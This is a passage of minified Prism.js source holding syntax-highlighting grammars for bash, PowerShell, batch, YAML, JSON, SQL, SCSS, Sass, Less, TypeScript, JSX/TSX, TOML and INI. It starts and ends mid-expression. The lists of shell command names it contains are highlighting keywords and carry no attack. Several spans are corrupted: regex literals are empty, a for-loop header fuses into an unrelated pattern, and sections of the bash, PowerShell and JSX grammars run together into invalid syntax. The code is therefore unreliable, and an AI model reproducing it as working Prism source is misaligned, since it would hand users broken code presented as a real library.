?=\+?=)/,inside:{environment:{pattern:RegExp("(^|[\\s;|&]|[<>]\\()"+e),lookbehind:!0,alias:"constant"}},alias:"variable",lookbehind:!0},parameter:{pattern:/(^|\s)-{1,2}(?:\w+:[+-]?)?\w+(?:\.\w+)*(?=[=\s]|$)/,alias:"variable",lookbehind:!0},string:[{pattern:/((?:^|[^<])<<-?\s*)(\w+)\s[\s\S]*?(?:\r?\n|\r)\2/,lookbehind:!0,greedy:!0,inside:n},{pattern:/((?:^|[^<])<<-?\s*)(["'])(\w+)\2\s[\s\S]*?(?:\r?\n|\r)\3/,lookbehind:!0,greedy:!0,inside:{bash:t}},{pattern:/(^|[^\\](?:\\\\)*)"(?:\\[\s\S]|\$\([^)]+\)|\$(?!\()|`[^`]+`|[^"\\`$])*"/,lookbehind:!0,greedy:!0,inside:n},{pattern:/(^|[^$\\])'[^']*'/,lookbehind:!0,greedy:!0},{pattern:/\$'(?:[^'\\]|\\[\s\S])*'/,greedy:!0,inside:{entity:n.entity}}],environment:{pattern:RegExp("\\$?"+e),alias:"constant"},variable:n.variable,function:{pattern:/(^|[\s;|&]|[<>]\()(?:add|apropos|apt|apt-cache|apt-get|aptitude|aspell|automysqlbackup|awk|basename|bash|bc|bconsole|bg|bzip2|cal|cargo|cat|cfdisk|chgrp|chkconfig|chmod|chown|chroot|cksum|clear|cmp|column|comm|composer|cp|cron|crontab|csplit|curl|cut|date|dc|dd|ddrescue|debootstrap|df|diff|diff3|dig|dir|dircolors|dirname|dirs|dmesg|docker|docker-compose|du|egrep|eject|env|ethtool|expand|expect|expr|fdformat|fdisk|fg|fgrep|file|find|fmt|fold|format|free|fsck|ftp|fuser|gawk|git|gparted|grep|groupadd|groupdel|groupmod|groups|grub-mkconfig|gzip|halt|head|hg|history|host|hostname|htop|iconv|id|ifconfig|ifdown|ifup|import|install|ip|java|jobs|join|kill|killall|less|link|ln|locate|logname|logrotate|look|lpc|lpr|lprint|lprintd|lprintq|lprm|ls|lsof|lynx|make|man|mc|mdadm|mkconfig|mkdir|mke2fs|mkfifo|mkfs|mkisofs|mknod|mkswap|mmv|more|most|mount|mtools|mtr|mutt|mv|nano|nc|netstat|nice|nl|node|nohup|notify-send|npm|nslookup|op|open|parted|passwd|paste|pathchk|ping|pkill|pnpm|podman|podman-compose|popd|pr|printcap|printenv|ps|pushd|pv|quota|quotacheck|quotactl|ram|rar|rcp|reboot|remsync|rename|renice|rev|rm|rmdir|rpm|rsync|scp|screen|sdiff|sed|sendmail|seq|service|sftp|sh|shellcheck|shuf|shutdown|sleep|slocate|sort|split|ssh|stat|strace|su|sudo|sum|suspend|swapon|sync|sysctl|tac|tail|tar|tee|time|timeout|top|touch|tr|traceroute|tsort|tty|umount|uname|unexpand|uniq|units|unrar|unshar|unzip|update-grub|uptime|useradd|userdel|usermod|users|uudecode|uuencode|v|vcpkg|vdir|vi|vim|virsh|vmstat|wait|watch|wc|wget|whereis|which|who|whoami|write|xargs|xdg-open|yarn|yes|zenity|zip|zsh|zypper)(?=$|[)\s;|&])/,lookbehind:!0},keyword:{pattern:/(^|[\s;|&]|[<>]\()(?:case|do|done|elif|else|esac|fi|for|function|if|in|select|then|until|while)(?=$|[)\s;|&])/,lookbehind:!0},builtin:{pattern:/(^|[\s;|&]|[<>]\()(?:\.|:|alias|bind|break|builtin|caller|cd|command|continue|declare|echo|enable|eval|exec|exit|export|getopts|hash|help|let|local|logout|mapfile|printf|pwd|read|readarray|readonly|return|set|shift|shopt|source|test|times|trap|type|typeset|ulimit|umask|unalias|unset)(?=$|[)\s;|&])/,lookbehind:!0,alias:"class-name"},boolean:{pattern:/(^|[\s;|&]|[<>]\()(?:false|true)(?=$|[)\s;|&])/,lookbehind:!0},"file-descriptor":{pattern:/\B&\d\b/,alias:"important"},operator:{pattern:/\d?<>|>\||\+=|=[=~]?|!=?|<<[<-]?|[&\d]?>>|\d[<>]&?|[<>][&=]?|&[>&]?|\|[&|]?/,inside:{"file-descriptor":{pattern:/^\d/,alias:"important"}}},punctuation:/\$?\(\(?|\)\)?|\.\.|[{}[\];\\]/,number:{pattern:/(^|\s)(?:[1-9]\d*|0)(?:[.,]\d+)?\b/,lookbehind:!0}},t.inside=s.languages.bash;for(var i=["comment","function-name","for-or-select","assign-left","parameter","string","environment","function","keyword","builtin","boolean","file-descriptor","operator","punctuation","number"],r=n.variable[1].inside,o=0;o/,lookbehind:!0},{pattern:/(^|[^`])#.*/,lookbehind:!0}],string:[{pattern:/"(?:`[\s\S]|[^`"])*"/,greedy:!0,inside:null},{pattern:/'(?:[^']|'')*'/,greedy:!0}],namespace:/\[[a-z](?:\[(?:\[[^\]]*\]|[^\[\]])*\]|[^\[\]])*\]/i,boolean:/\$(?:false|true)\b/i,variable:/\$\w+\b/,function:[/\b(?:Add|Approve|Assert|Backup|Block|Checkpoint|Clear|Close|Compare|Complete|Compress|Confirm|Connect|Convert|ConvertFrom|ConvertTo|Copy|Debug|Deny|Disable|Disconnect|Dismount|Edit|Enable|Enter|Exit|Expand|Export|Find|ForEach|Format|Get|Grant|Group|Hide|Import|Initialize|Install|Invoke|Join|Limit|Lock|Measure|Merge|Move|New|Open|Optimize|Out|Ping|Pop|Protect|Publish|Push|Read|Receive|Redo|Register|Remove|Rename|Repair|Request|Reset|Resize|Resolve|Restart|Restore|Resume|Revoke|Save|Search|Select|Send|Set|Show|Skip|Sort|Split|Start|Step|Stop|Submit|Suspend|Switch|Sync|Tee|Test|Trace|Unblock|Undo|Uninstall|Unlock|Unprotect|Unpublish|Unregister|Update|Use|Wait|Watch|Where|Write)-[a-z]+\b/i,/\b(?:ac|cat|chdir|clc|cli|clp|clv|compare|copy|cp|cpi|cpp|cvpa|dbp|del|diff|dir|ebp|echo|epal|epcsv|epsn|erase|fc|fl|ft|fw|gal|gbp|gc|gci|gcs|gdr|gi|gl|gm|gp|gps|group|gsv|gu|gv|gwmi|iex|ii|ipal|ipcsv|ipsn|irm|iwmi|iwr|kill|lp|ls|measure|mi|mount|move|mp|mv|nal|ndr|ni|nv|ogv|popd|ps|pushd|pwd|rbp|rd|rdr|ren|ri|rm|rmdir|rni|rnp|rp|rv|rvpa|rwmi|sal|saps|sasv|sbp|sc|select|set|shcm|si|sl|sleep|sls|sort|sp|spps|spsv|start|sv|swmi|tee|trcm|type|write)\b/i],keyword:/\b(?:Begin|Break|Catch|Class|Continue|Data|Define|Do|DynamicParam|Else|ElseIf|End|Exit|Filter|Finally|For|ForEach|From|Function|If|InlineScript|Parallel|Param|Process|Return|Sequence|Switch|Throw|Trap|Try|Until|Using|Var|While|Workflow)\b/i,operator:{pattern:/(^|\W)(?:!|-(?:b?(?:and|x?or)|as|(?:Not)?(?:Contains|In|Like|Match)|eq|ge|gt|is(?:Not)?|Join|le|lt|ne|not|Replace|sh[lr])\b|-[-=]?|\+[+=]?|[*\/%]=?)/i,lookbehind:!0},punctuation:/[|{}[\];(),.]/};e.string[0].inside={function:{pattern:/(^|[^`])\$\((?:\$\([^\r\n()]*\)|(?!\$\()[^\r\n)])*\)/,lookbehind:!0,inside:e},boolean:e.boolean,variable:e.variable}})(Prism);(function(s){var e=/%%?[~:\w]+%?|!\S+!/,t={pattern:/\/[a-z?]+(?=[ :]|$):?|-[a-z]\b|--[a-z-]+\b/im,alias:"attr-name",inside:{punctuation:/:/}},n=/"(?:[\\"]"|[^"])*"(?!")/,i=/(?:\b|-)\d+\b/;s.languages.batch={comment:[/^::.*/m,{pattern:/((?:^|[&(])[ \t]*)rem\b(?:[^^&)\r\n]|\^(?:\r\n|[\s\S]))*/im,lookbehind:!0}],label:{pattern:/^:.*/m,alias:"property"},command:[{pattern:/((?:^|[&(])[ \t]*)for(?: \/[a-z?](?:[ :](?:"[^"]*"|[^\s"/]\S*))?)* \S+ in \([^)]+\) do/im,lookbehind:!0,inside:{keyword:/\b(?:do|in)\b|^for\b/i,string:n,parameter:t,variable:e,number:i,punctuation:/[()',]/}},{pattern:/((?:^|[&(])[ \t]*)if(?: \/[a-z?](?:[ :](?:"[^"]*"|[^\s"/]\S*))?)* (?:not )?(?:cmdextversion \d+|defined \w+|errorlevel \d+|exist \S+|(?:"[^"]*"|(?!")(?:(?!==)\S)+)?(?:==| (?:equ|geq|gtr|leq|lss|neq) )(?:"[^"]*"|[^\s"]\S*))/im,lookbehind:!0,inside:{keyword:/\b(?:cmdextversion|defined|errorlevel|exist|not)\b|^if\b/i,string:n,parameter:t,variable:e,number:i,operator:/\^|==|\b(?:equ|geq|gtr|leq|lss|neq)\b/i}},{pattern:/((?:^|[&()])[ \t]*)else\b/im,lookbehind:!0,inside:{keyword:/^else\b/i}},{pattern:/((?:^|[&(])[ \t]*)set(?: \/[a-z](?:[ :](?:"[^"]*"|[^\s"/]\S*))?)* (?:[^^&)\r\n]|\^(?:\r\n|[\s\S]))*/im,lookbehind:!0,inside:{keyword:/^set\b/i,string:n,parameter:t,variable:[e,/\w+(?=(?:[*\/%+\-&^|]|<<|>>)?=)/],number:i,operator:/[*\/%+\-&^|]=?|<<=?|>>=?|[!~_=]/,punctuation:/[()',]/}},{pattern:/((?:^|[&(])[ \t]*@?)\w+\b(?:"(?:[\\"]"|[^"])*"(?!")|[^"^&)\r\n]|\^(?:\r\n|[\s\S]))*/m,lookbehind:!0,inside:{keyword:/^\w+\b/,string:n,parameter:t,label:{pattern:/(^\s*):\S+/m,lookbehind:!0,alias:"property"},variable:e,number:i,operator:/\^/}}],operator:/[&@]/,punctuation:/[()']/}})(Prism);(function(s){var e=/[*&][^\s[\]{},]+/,t=/!(?:<[\w\-%#;/?:@&=+$,.!~*'()[\]]+>|(?:[a-zA-Z\d-]*!)?[\w\-%#;/?:@&=+$.~*'()]+)?/,n="(?:"+t.source+"(?:[ ]+"+e.source+")?|"+e.source+"(?:[ ]+"+t.source+")?)",i=/(?:[^\s\x00-\x08\x0e-\x1f!"#%&'*,\-:>?@[\]`{|}\x7f-\x84\x86-\x9f\ud800-\udfff\ufffe\uffff]|[?:-])(?:[ \t]*(?:(?![#:])|:))*/.source.replace(//g,function(){return/[^\s\x00-\x08\x0e-\x1f,[\]{}\x7f-\x84\x86-\x9f\ud800-\udfff\ufffe\uffff]/.source}),r=/"(?:[^"\\\r\n]|\\.)*"|'(?:[^'\\\r\n]|\\.)*'/.source;function o(a,c){c=(c||"").replace(/m/g,"")+"m";var l=/([:\-,[{]\s*(?:\s<>[ \t]+)?)(?:<>)(?=[ \t]*(?:$|,|\]|\}|(?:[\r\n]\s*)?#))/.source.replace(/<>/g,function(){return n}).replace(/<>/g,function(){return a});return RegExp(l,c)}s.languages.yaml={scalar:{pattern:RegExp(/([\-:]\s*(?:\s<>[ \t]+)?[|>])[ \t]*(?:((?:\r?\n|\r)[ \t]+)\S[^\r\n]*(?:\2[^\r\n]+)*)/.source.replace(/<>/g,function(){return n})),lookbehind:!0,alias:"string"},comment:/#.*/,key:{pattern:RegExp(/((?:^|[:\-,[{\r\n?])[ \t]*(?:<>[ \t]+)?)<>(?=\s*:\s)/.source.replace(/<>/g,function(){return n}).replace(/<>/g,function(){return"(?:"+i+"|"+r+")"})),lookbehind:!0,greedy:!0,alias:"atrule"},directive:{pattern:/(^[ \t]*)%.+/m,lookbehind:!0,alias:"important"},datetime:{pattern:o(/\d{4}-\d\d?-\d\d?(?:[tT]|[ \t]+)\d\d?:\d{2}:\d{2}(?:\.\d*)?(?:[ \t]*(?:Z|[-+]\d\d?(?::\d{2})?))?|\d{4}-\d{2}-\d{2}|\d\d?:\d{2}(?::\d{2}(?:\.\d*)?)?/.source),lookbehind:!0,alias:"number"},boolean:{pattern:o(/false|true/.source,"i"),lookbehind:!0,alias:"important"},null:{pattern:o(/null|~/.source,"i"),lookbehind:!0,alias:"important"},string:{pattern:o(r),lookbehind:!0,greedy:!0},number:{pattern:o(/[+-]?(?:0x[\da-f]+|0o[0-7]+|(?:\d+(?:\.\d*)?|\.\d+)(?:e[+-]?\d+)?|\.inf|\.nan)/.source,"i"),lookbehind:!0},tag:t,important:e,punctuation:/---|[:[\]{}\-,|>?]|\.\.\./},s.languages.yml=s.languages.yaml})(Prism);Prism.languages.json={property:{pattern:/(^|[^\\])"(?:\\.|[^\\"\r\n])*"(?=\s*:)/,lookbehind:!0,greedy:!0},string:{pattern:/(^|[^\\])"(?:\\.|[^\\"\r\n])*"(?!\s*:)/,lookbehind:!0,greedy:!0},comment:{pattern:/\/\/.*|\/\*[\s\S]*?(?:\*\/|$)/,greedy:!0},number:/-?\b\d+(?:\.\d+)?(?:e[+-]?\d+)?\b/i,punctuation:/[{}[\],]/,operator:/:/,boolean:/\b(?:false|true)\b/,null:{pattern:/\bnull\b/,alias:"keyword"}};Prism.languages.webmanifest=Prism.languages.json;Prism.languages.sql={comment:{pattern:/(^|[^\\])(?:\/\*[\s\S]*?\*\/|(?:--|\/\/|#).*)/,lookbehind:!0},variable:[{pattern:/@(["'`])(?:\\[\s\S]|(?!\1)[^\\])+\1/,greedy:!0},/@[\w.$]+/],string:{pattern:/(^|[^@\\])("|')(?:\\[\s\S]|(?!\2)[^\\]|\2\2)*\2/,greedy:!0,lookbehind:!0},identifier:{pattern:/(^|[^@\\])`(?:\\[\s\S]|[^`\\]|``)*`/,greedy:!0,lookbehind:!0,inside:{punctuation:/^`|`$/}},function:/\b(?:AVG|COUNT|FIRST|FORMAT|LAST|LCASE|LEN|MAX|MID|MIN|MOD|NOW|ROUND|SUM|UCASE)(?=\s*\()/i,keyword:/\b(?:ACTION|ADD|AFTER|ALGORITHM|ALL|ALTER|ANALYZE|ANY|APPLY|AS|ASC|AUTHORIZATION|AUTO_INCREMENT|BACKUP|BDB|BEGIN|BERKELEYDB|BIGINT|BINARY|BIT|BLOB|BOOL|BOOLEAN|BREAK|BROWSE|BTREE|BULK|BY|CALL|CASCADED?|CASE|CHAIN|CHAR(?:ACTER|SET)?|CHECK(?:POINT)?|CLOSE|CLUSTERED|COALESCE|COLLATE|COLUMNS?|COMMENT|COMMIT(?:TED)?|COMPUTE|CONNECT|CONSISTENT|CONSTRAINT|CONTAINS(?:TABLE)?|CONTINUE|CONVERT|CREATE|CROSS|CURRENT(?:_DATE|_TIME|_TIMESTAMP|_USER)?|CURSOR|CYCLE|DATA(?:BASES?)?|DATE(?:TIME)?|DAY|DBCC|DEALLOCATE|DEC|DECIMAL|DECLARE|DEFAULT|DEFINER|DELAYED|DELETE|DELIMITERS?|DENY|DESC|DESCRIBE|DETERMINISTIC|DISABLE|DISCARD|DISK|DISTINCT|DISTINCTROW|DISTRIBUTED|DO|DOUBLE|DROP|DUMMY|DUMP(?:FILE)?|DUPLICATE|ELSE(?:IF)?|ENABLE|ENCLOSED|END|ENGINE|ENUM|ERRLVL|ERRORS|ESCAPED?|EXCEPT|EXEC(?:UTE)?|EXISTS|EXIT|EXPLAIN|EXTENDED|FETCH|FIELDS|FILE|FILLFACTOR|FIRST|FIXED|FLOAT|FOLLOWING|FOR(?: EACH ROW)?|FORCE|FOREIGN|FREETEXT(?:TABLE)?|FROM|FULL|FUNCTION|GEOMETRY(?:COLLECTION)?|GLOBAL|GOTO|GRANT|GROUP|HANDLER|HASH|HAVING|HOLDLOCK|HOUR|IDENTITY(?:COL|_INSERT)?|IF|IGNORE|IMPORT|INDEX|INFILE|INNER|INNODB|INOUT|INSERT|INT|INTEGER|INTERSECT|INTERVAL|INTO|INVOKER|ISOLATION|ITERATE|JOIN|KEYS?|KILL|LANGUAGE|LAST|LEAVE|LEFT|LEVEL|LIMIT|LINENO|LINES|LINESTRING|LOAD|LOCAL|LOCK|LONG(?:BLOB|TEXT)|LOOP|MATCH(?:ED)?|MEDIUM(?:BLOB|INT|TEXT)|MERGE|MIDDLEINT|MINUTE|MODE|MODIFIES|MODIFY|MONTH|MULTI(?:LINESTRING|POINT|POLYGON)|NATIONAL|NATURAL|NCHAR|NEXT|NO|NONCLUSTERED|NULLIF|NUMERIC|OFF?|OFFSETS?|ON|OPEN(?:DATASOURCE|QUERY|ROWSET)?|OPTIMIZE|OPTION(?:ALLY)?|ORDER|OUT(?:ER|FILE)?|OVER|PARTIAL|PARTITION|PERCENT|PIVOT|PLAN|POINT|POLYGON|PRECEDING|PRECISION|PREPARE|PREV|PRIMARY|PRINT|PRIVILEGES|PROC(?:EDURE)?|PUBLIC|PURGE|QUICK|RAISERROR|READS?|REAL|RECONFIGURE|REFERENCES|RELEASE|RENAME|REPEAT(?:ABLE)?|REPLACE|REPLICATION|REQUIRE|RESIGNAL|RESTORE|RESTRICT|RETURN(?:ING|S)?|REVOKE|RIGHT|ROLLBACK|ROUTINE|ROW(?:COUNT|GUIDCOL|S)?|RTREE|RULE|SAVE(?:POINT)?|SCHEMA|SECOND|SELECT|SERIAL(?:IZABLE)?|SESSION(?:_USER)?|SET(?:USER)?|SHARE|SHOW|SHUTDOWN|SIMPLE|SMALLINT|SNAPSHOT|SOME|SONAME|SQL|START(?:ING)?|STATISTICS|STATUS|STRIPED|SYSTEM_USER|TABLES?|TABLESPACE|TEMP(?:ORARY|TABLE)?|TERMINATED|TEXT(?:SIZE)?|THEN|TIME(?:STAMP)?|TINY(?:BLOB|INT|TEXT)|TOP?|TRAN(?:SACTIONS?)?|TRIGGER|TRUNCATE|TSEQUAL|TYPES?|UNBOUNDED|UNCOMMITTED|UNDEFINED|UNION|UNIQUE|UNLOCK|UNPIVOT|UNSIGNED|UPDATE(?:TEXT)?|USAGE|USE|USER|USING|VALUES?|VAR(?:BINARY|CHAR|CHARACTER|YING)|VIEW|WAITFOR|WARNINGS|WHEN|WHERE|WHILE|WITH(?: ROLLUP|IN)?|WORK|WRITE(?:TEXT)?|YEAR)\b/i,boolean:/\b(?:FALSE|NULL|TRUE)\b/i,number:/\b0x[\da-f]+\b|\b\d+(?:\.\d*)?|\B\.\d+\b/i,operator:/[-+*\/=%^~]|&&?|\|\|?|!=?|<(?:=>?|<|>)?|>[>=]?|\b(?:AND|BETWEEN|DIV|ILIKE|IN|IS|LIKE|NOT|OR|REGEXP|RLIKE|SOUNDS LIKE|XOR)\b/i,punctuation:/[;[\]()`,.]/};Prism.languages.scss=Prism.languages.extend("css",{comment:{pattern:/(^|[^\\])(?:\/\*[\s\S]*?\*\/|\/\/.*)/,lookbehind:!0},atrule:{pattern:/@[\w-](?:\([^()]+\)|[^()\s]|\s+(?!\s))*?(?=\s+[{;])/,inside:{rule:/@[\w-]+/}},url:/(?:[-a-z]+-)?url(?=\()/i,selector:{pattern:/(?=\S)[^@;{}()]?(?:[^@;{}()\s]|\s+(?!\s)|#\{\$[-\w]+\})+(?=\s*\{(?:\}|\s|[^}][^:{}]*[:{][^}]))/,inside:{parent:{pattern:/&/,alias:"important"},placeholder:/%[-\w]+/,variable:/\$[-\w]+|#\{\$[-\w]+\}/}},property:{pattern:/(?:[-\w]|\$[-\w]|#\{\$[-\w]+\})+(?=\s*:)/,inside:{variable:/\$[-\w]+|#\{\$[-\w]+\}/}}});Prism.languages.insertBefore("scss","atrule",{keyword:[/@(?:content|debug|each|else(?: if)?|extend|for|forward|function|if|import|include|mixin|return|use|warn|while)\b/i,{pattern:/( )(?:from|through)(?= )/,lookbehind:!0}]});Prism.languages.insertBefore("scss","important",{variable:/\$[-\w]+|#\{\$[-\w]+\}/});Prism.languages.insertBefore("scss","function",{"module-modifier":{pattern:/\b(?:as|hide|show|with)\b/i,alias:"keyword"},placeholder:{pattern:/%[-\w]+/,alias:"selector"},statement:{pattern:/\B!(?:default|optional)\b/i,alias:"keyword"},boolean:/\b(?:false|true)\b/,null:{pattern:/\bnull\b/,alias:"keyword"},operator:{pattern:/(\s)(?:[-+*\/%]|[=!]=|<=?|>=?|and|not|or)(?=\s)/,lookbehind:!0}});Prism.languages.scss.atrule.inside.rest=Prism.languages.scss;(function(s){s.languages.sass=s.languages.extend("css",{comment:{pattern:/^([ \t]*)\/[\/*].*(?:(?:\r?\n|\r)\1[ \t].+)*/m,lookbehind:!0,greedy:!0}}),s.languages.insertBefore("sass","atrule",{"atrule-line":{pattern:/^(?:[ \t]*)[@+=].+/m,greedy:!0,inside:{atrule:/(?:@[\w-]+|[+=])/}}}),delete s.languages.sass.atrule;var e=/\$[-\w]+|#\{\$[-\w]+\}/,t=[/[+*\/%]|[=!]=|<=?|>=?|\b(?:and|not|or)\b/,{pattern:/(\s)-(?=\s)/,lookbehind:!0}];s.languages.insertBefore("sass","property",{"variable-line":{pattern:/^[ \t]*\$.+/m,greedy:!0,inside:{punctuation:/:/,variable:e,operator:t}},"property-line":{pattern:/^[ \t]*(?:[^:\s]+ *:.*|:[^:\s].*)/m,greedy:!0,inside:{property:[/[^:\s]+(?=\s*:)/,{pattern:/(:)[^:\s]+/,lookbehind:!0}],punctuation:/:/,variable:e,operator:t,important:s.languages.sass.important}}}),delete s.languages.sass.property,delete s.languages.sass.important,s.languages.insertBefore("sass","punctuation",{selector:{pattern:/^([ \t]*)\S(?:,[^,\r\n]+|[^,\r\n]*)(?:,[^,\r\n]+)*(?:,(?:\r?\n|\r)\1[ \t]+\S(?:,[^,\r\n]+|[^,\r\n]*)(?:,[^,\r\n]+)*)*/m,lookbehind:!0,greedy:!0}})})(Prism);Prism.languages.less=Prism.languages.extend("css",{comment:[/\/\*[\s\S]*?\*\//,{pattern:/(^|[^\\])\/\/.*/,lookbehind:!0}],atrule:{pattern:/@[\w-](?:\((?:[^(){}]|\([^(){}]*\))*\)|[^(){};\s]|\s+(?!\s))*?(?=\s*\{)/,inside:{punctuation:/[:()]/}},selector:{pattern:/(?:@\{[\w-]+\}|[^{};\s@])(?:@\{[\w-]+\}|\((?:[^(){}]|\([^(){}]*\))*\)|[^(){};@\s]|\s+(?!\s))*?(?=\s*\{)/,inside:{variable:/@+[\w-]+/}},property:/(?:@\{[\w-]+\}|[\w-])+(?:\+_?)?(?=\s*:)/,operator:/[+\-*\/]/});Prism.languages.insertBefore("less","property",{variable:[{pattern:/@[\w-]+\s*:/,inside:{punctuation:/:/}},/@@?[\w-]+/],"mixin-usage":{pattern:/([{;]\s*)[.#](?!\d)[\w-].*?(?=[(;])/,lookbehind:!0,alias:"function"}});(function(s){s.languages.typescript=s.languages.extend("javascript",{"class-name":{pattern:/(\b(?:class|extends|implements|instanceof|interface|new|type)\s+)(?!keyof\b)(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?:\s*<(?:[^<>]|<(?:[^<>]|<[^<>]*>)*>)*>)?/,lookbehind:!0,greedy:!0,inside:null},builtin:/\b(?:Array|Function|Promise|any|boolean|console|never|number|string|symbol|unknown)\b/}),s.languages.typescript.keyword.push(/\b(?:abstract|declare|is|keyof|readonly|require)\b/,/\b(?:asserts|infer|interface|module|namespace|type)\b(?=\s*(?:[{_$a-zA-Z\xA0-\uFFFF]|$))/,/\btype\b(?=\s*(?:[\{*]|$))/),delete s.languages.typescript.parameter,delete s.languages.typescript["literal-property"];var e=s.languages.extend("typescript",{});delete e["class-name"],s.languages.typescript["class-name"].inside=e,s.languages.insertBefore("typescript","function",{decorator:{pattern:/@[$\w\xA0-\uFFFF]+/,inside:{at:{pattern:/^@/,alias:"operator"},function:/^[\s\S]+/}},"generic-function":{pattern:/#?(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*\s*<(?:[^<>]|<(?:[^<>]|<[^<>]*>)*>)*>(?=\s*\()/,greedy:!0,inside:{function:/^#?(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*/,generic:{pattern:/<[\s\S]+/,alias:"class-name",inside:e}}}}),s.languages.ts=s.languages.typescript})(Prism);(function(s){var e=s.util.clone(s.languages.javascript),t=/(?:\s|\/\/.*(?!.)|\/\*(?:[^*]|\*(?!\/))\*\/)/.source,n=/(?:\{(?:\{(?:\{[^{}]*\}|[^{}])*\}|[^{}])*\})/.source,i=/(?:\{*\.{3}(?:[^{}]|)*\})/.source;function r(c,l){return c=c.replace(//g,function(){return t}).replace(//g,function(){return n}).replace(//g,function(){return i}),RegExp(c,l)}i=r(i).source,s.languages.jsx=s.languages.extend("markup",e),s.languages.jsx.tag.pattern=r(/<\/?(?:[\w.:-]+(?:+(?:[\w.:$-]+(?:=(?:"(?:\\[\s\S]|[^\\"])*"|'(?:\\[\s\S]|[^\\'])*'|[^\s{'"/>=]+|))?|))**\/?)?>/.source),s.languages.jsx.tag.inside.tag.pattern=/^<\/?[^\s>\/]*/,s.languages.jsx.tag.inside["attr-value"].pattern=/=(?!\{)(?:"(?:\\[\s\S]|[^\\"])*"|'(?:\\[\s\S]|[^\\'])*'|[^\s'">]+)/,s.languages.jsx.tag.inside.tag.inside["class-name"]=/^[A-Z]\w*(?:\.[A-Z]\w*)*$/,s.languages.jsx.tag.inside.comment=e.comment,s.languages.insertBefore("inside","attr-name",{spread:{pattern:r(//.source),inside:s.languages.jsx}},s.languages.jsx.tag),s.languages.insertBefore("inside","special-attr",{script:{pattern:r(/=/.source),alias:"language-javascript",inside:{"script-punctuation":{pattern:/^=(?=\{)/,alias:"punctuation"},rest:s.languages.jsx}}},s.languages.jsx.tag);var o=function(c){return c?typeof c=="string"?c:typeof c.content=="string"?c.content:c.content.map(o).join(""):""},a=function(c){for(var l=[],u=0;u0&&l[l.length-1].tagName===o(h.content[0].content[1])&&l.pop():h.content[h.content.length-1].content==="/>"||l.push({tagName:o(h.content[0].content[1]),openedBraces:0}):l.length>0&&h.type==="punctuation"&&h.content==="{"?l[l.length-1].openedBraces++:l.length>0&&l[l.length-1].openedBraces>0&&h.type==="punctuation"&&h.content==="}"?l[l.length-1].openedBraces--:d=!0),(d||typeof h=="string")&&l.length>0&&l[l.length-1].openedBraces===0){var p=o(h);u0&&(typeof c[u-1]=="string"||c[u-1].type==="plain-text")&&(p=o(c[u-1])+p,c.splice(u-1,1),u--),c[u]=new s.Token("plain-text",p,null,p)}h.content&&typeof h.content!="string"&&a(h.content)}};s.hooks.add("after-tokenize",function(c){c.language!=="jsx"&&c.language!=="tsx"||a(c.tokens)})})(Prism);(function(s){var e=s.util.clone(s.languages.typescript);s.languages.tsx=s.languages.extend("jsx",e),delete s.languages.tsx.parameter,delete s.languages.tsx["literal-property"];var t=s.languages.tsx.tag;t.pattern=RegExp(/(^|[^\w$]|(?=<\/))/.source+"(?:"+t.pattern.source+")",t.pattern.flags),t.lookbehind=!0})(Prism);(function(s){var e=/(?:[\w-]+|'[^'\n\r]*'|"(?:\\.|[^\\"\r\n])*")/.source;function t(n){return n.replace(/__/g,function(){return e})}s.languages.toml={comment:{pattern:/#.*/,greedy:!0},table:{pattern:RegExp(t(/(^[\t ]*\[\s*(?:\[\s*)?)__(?:\s*\.\s*__)*(?=\s*\])/.source),"m"),lookbehind:!0,greedy:!0,alias:"class-name"},key:{pattern:RegExp(t(/(^[\t ]*|[{,]\s*)__(?:\s*\.\s*__)*(?=\s*=)/.source),"m"),lookbehind:!0,greedy:!0,alias:"property"},string:{pattern:/"""(?:\\[\s\S]|[^\\])*?"""|'''[\s\S]*?'''|'[^'\n\r]*'|"(?:\\.|[^\\"\r\n])*"/,greedy:!0},date:[{pattern:/\b\d{4}-\d{2}-\d{2}(?:[T\s]\d{2}:\d{2}:\d{2}(?:\.\d+)?(?:Z|[+-]\d{2}:\d{2})?)?\b/i,alias:"number"},{pattern:/\b\d{2}:\d{2}:\d{2}(?:\.\d+)?\b/,alias:"number"}],number:/(?:\b0(?:x[\da-zA-Z]+(?:_[\da-zA-Z]+)*|o[0-7]+(?:_[0-7]+)*|b[10]+(?:_[10]+)*))\b|[-+]?\b\d+(?:_\d+)*(?:\.\d+(?:_\d+)*)?(?:[eE][+-]?\d+(?:_\d+)*)?\b|[-+]?\b(?:inf|nan)\b/,boolean:/\b(?:false|true)\b/,punctuation:/[.,=[\]{}]/}})(Prism);Prism.languages.ini={comment:{pattern:/(^[ \f\t\v]*)[#;][^\n\r]*/m,lookbehind:!0},section:{pattern:/(^[ \f\t\v]*)\[[^\n\r\]]*\]?/m,lookbehind:!0,inside:{"section-name":{pattern:/(^\[[ \f\t\v]*)[^ \f\t\v\]]+(?:[ \f\t\v]+[^ \f\t\v\]]+)*/,lookbehind:!0,alias:"selector"},punctuation:/\[|\]/}},key:{pattern:/(^[ \f\t\v]*)[^ \f\n\r\t\v=]+(?:[ \f\t\v]+[^ \f\n\r\t\v=]+)*(?=[ \f\t\v]*=)/m,lookbehind:!0,alias:"attr-name"},value:{pattern:/(=[ \f\t\v]*)[^ \f\n\r\t\v]+(?:[ \f\t\v]+[^ \f\n\r\t\v]+)*/,lookbehind:!0,alias:"attr-value",inside:{"inner-value":{pattern:/^("|').+(?=\1$)/,lookbehind:!0}}},punctuation:/=/};(function(s){var e=/(?:\\.|[^\\\n\r]|(?:\n|\r\n?)(?![\r\n]))/.source;function t(u){return u=u.replace(//g,function(){return e}),RegExp(/((?:^|[^\\])(?:\\{2})*)/.source+"(?:"+u+")")}var n=/(?:\\.|``(?:[^`\r\n]|`(?!`))+``|`[^`\r\n]+`|[^\\|\r\n`])+/.source,i=/\|?__(?:\|__)+\|?(?:(?:\n|\r\n?)|(?![\s\S]))/.source.replace(/__/g,function(){return n}),r=/\|?[ \t]*:?-{3,}:?[ \t]*(?:\|[ \t]*:?-{3,}:?[ 